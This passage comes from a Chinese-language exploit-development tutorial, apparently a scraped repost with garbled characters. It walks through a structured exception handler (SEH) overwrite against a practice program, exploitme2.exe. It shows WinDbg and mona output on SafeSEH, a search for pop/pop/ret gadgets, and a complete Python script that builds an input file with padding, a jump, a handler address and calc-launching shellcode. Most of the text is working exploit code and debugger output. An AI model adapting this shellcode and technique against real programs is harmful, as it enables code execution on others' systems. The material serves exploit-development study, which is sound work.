            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
            "\x30\x03\xc6\xeb\xdd")
    data = 'a'*84 + jmp + handler + shellcode
    f.write(data + 'c' * (10000 - len(data))) 
复制代码

若是你使用WinDbg调试exploitme2.exe,你将会发现出错了。咱们的handler(pop/pop/ret)并无被调用,为何?

咱们来看一看已加载的模块:

0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules    

---------- Mona command started on 2015-03-19 00:31:14 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 0x774b0000 | 0x774ba000 | 0x0000a000 | False  | True    | True  |  True    | True   | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
 0x00190000 | 0x00196000 | 0x00006000 | False  | True    | True  |  False   | False  | -1.0- [exploitme2.exe] (exploitme2.exe)
 0x752d0000 | 0x7532a000 | 0x0005a000 | False  | True    | True  |  True    | True   | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
 0x764c0000 | 0x7658c000 | 0x000cc000 | False  | True    | True  |  True    | True   | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
 0x76360000 | 0x763a7000 | 0x00047000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
 0x752c0000 | 0x752c9000 | 0x00009000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
 0x752b0000 | 0x752b7000 | 0x00007000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
 0x758c0000 | 0x7595d000 | 0x0009d000 | False  | True    | True  |  True    | True   | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
 0x75b50000 | 0x75be0000 | 0x00090000 | False  | True    | True  |  True    | True   | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
 0x75dc0000 | 0x75ed0000 | 0x00110000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
 0x75960000 | 0x75a0c000 | 0x000ac000 | False  | True    | True  |  True    | True   | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
 0x75550000 | 0x7555c000 | 0x0000c000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
 0x75560000 | 0x755c0000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
 0x77bd0000 | 0x77d50000 | 0x00180000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
 0x75ed0000 | 0x75f70000 | 0x000a0000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
 0x77660000 | 0x77750000 | 0x000f0000 | False  | True    | True  |  True    | True   | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
 0x6d510000 | 0x6d5fe000 | 0x000ee000 | False  | True    | True  |  True    | True   | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
 0x764a0000 | 0x764b9000 | 0x00019000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
 0x75ab0000 | 0x75ab5000 | 0x00005000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
 0x761c0000 | 0x762c0000 | 0x00100000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
 0x762f0000 | 0x76350000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------    


[+] This mona.py action took 0:00:00.110000  
复制代码

咱们能够看到全部已加载的模块具备SafeSEH = True属性。对于咱们来讲这显然是坏消息。若是某个模块启用了SafeSEH保护机制进行编译,同时它含有一个被容许的SEH handler列表以及地址被包含在那个模块中的handler,可是没在列表中的都被忽略了。

地址0x75dfd75d在模块kernel32.dll中,可是没有在它的已容许的handler列表中,所以咱们不能使用它。一般的解决方法是选择具备SafeSEH = False属性的模块,可是在咱们的案例中,启用了SafeSEH保护机制来对全部模块进行编译。

由于咱们在这只是正在学习“走路”,咱们在VS2013中经过修改配置关闭SafeSEH保护机制来对exploiotme2.exe进行重编译,修改的配置以下:

  • Configuration Properties
    • Linker
      • Advanced
        • Image Has Safe Exception Handlers: No (/SAFESEH:NO)

如今让咱们在exploitme2.exe中找到pop/pop/ret序列:

0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe    

---------- Mona command started on 2015-03-19 00:53:54 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules exploitme2.exe
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x00e90000 and 0x00e96000
[+] Preparing output file 'findwild.txt'
    - (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
    - Number of pointers of type 'pop eax # pop esi # retn' : 1
    - Number of pointers of type 'pop ecx # pop ecx # retn' : 1
    - Number of pointers of type 'pop edi # pop esi # retn' : 2
    - Number of pointers of type 'pop ecx # pop ebp # retn' : 1
    - Number of pointers of type 'pop ebx # pop ebp # retn' : 1
[+] Results :
0x00e91802 |   0x00e91802 (b+0x00001802)  : pop eax # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9152f |   0x00e9152f (b+0x0000152f)  : pop ecx # pop ecx # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e918e7 |   0x00e918e7 (b+0x000018e7)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91907 |   0x00e91907 (b+0x00001907)  : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9112b |   0x00e9112b (b+0x0000112b)  : pop ecx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91630 |   0x00e91630 (b+0x00001630)  : pop ebx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
    Found a total of 6 pointers    

[+] This mona.py action took 0:00:00.170000 
复制代码

咱们将使用第一个地址:0x00e91802.

这是已更新的Python脚本:

#!python
with open('c:\\name.dat', 'wb') as f:
    jmp = '\xeb\x06\x90\x90'
    handler = '\x02\x18\xe9\x00'
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
            "\x30\x03\xc6\xeb\xdd")
    data = 'a'*84 + jmp + handler + shellcode
    f.write(data + 'c' * (10000 - len(data)))
复制代码

用WinDbg运行脚本并打开exploitme2.exe(没有启用SafeSEH保护机制的版本)。如今,不出咱们所料,计算器被弹出了!成功利用,可是咱们已经改写了一些代码。同时,在这里咱们假设不启用ASLR保护机制(对于如今来讲)

0x01 检测实验


若是利用无法在你的系统上成功执行,那么多是由于在栈上的空间有限。能够参考文章drops.wooyun.org/tips/9948中的More space on stack部分进行解决

相关文章
相关标签/搜索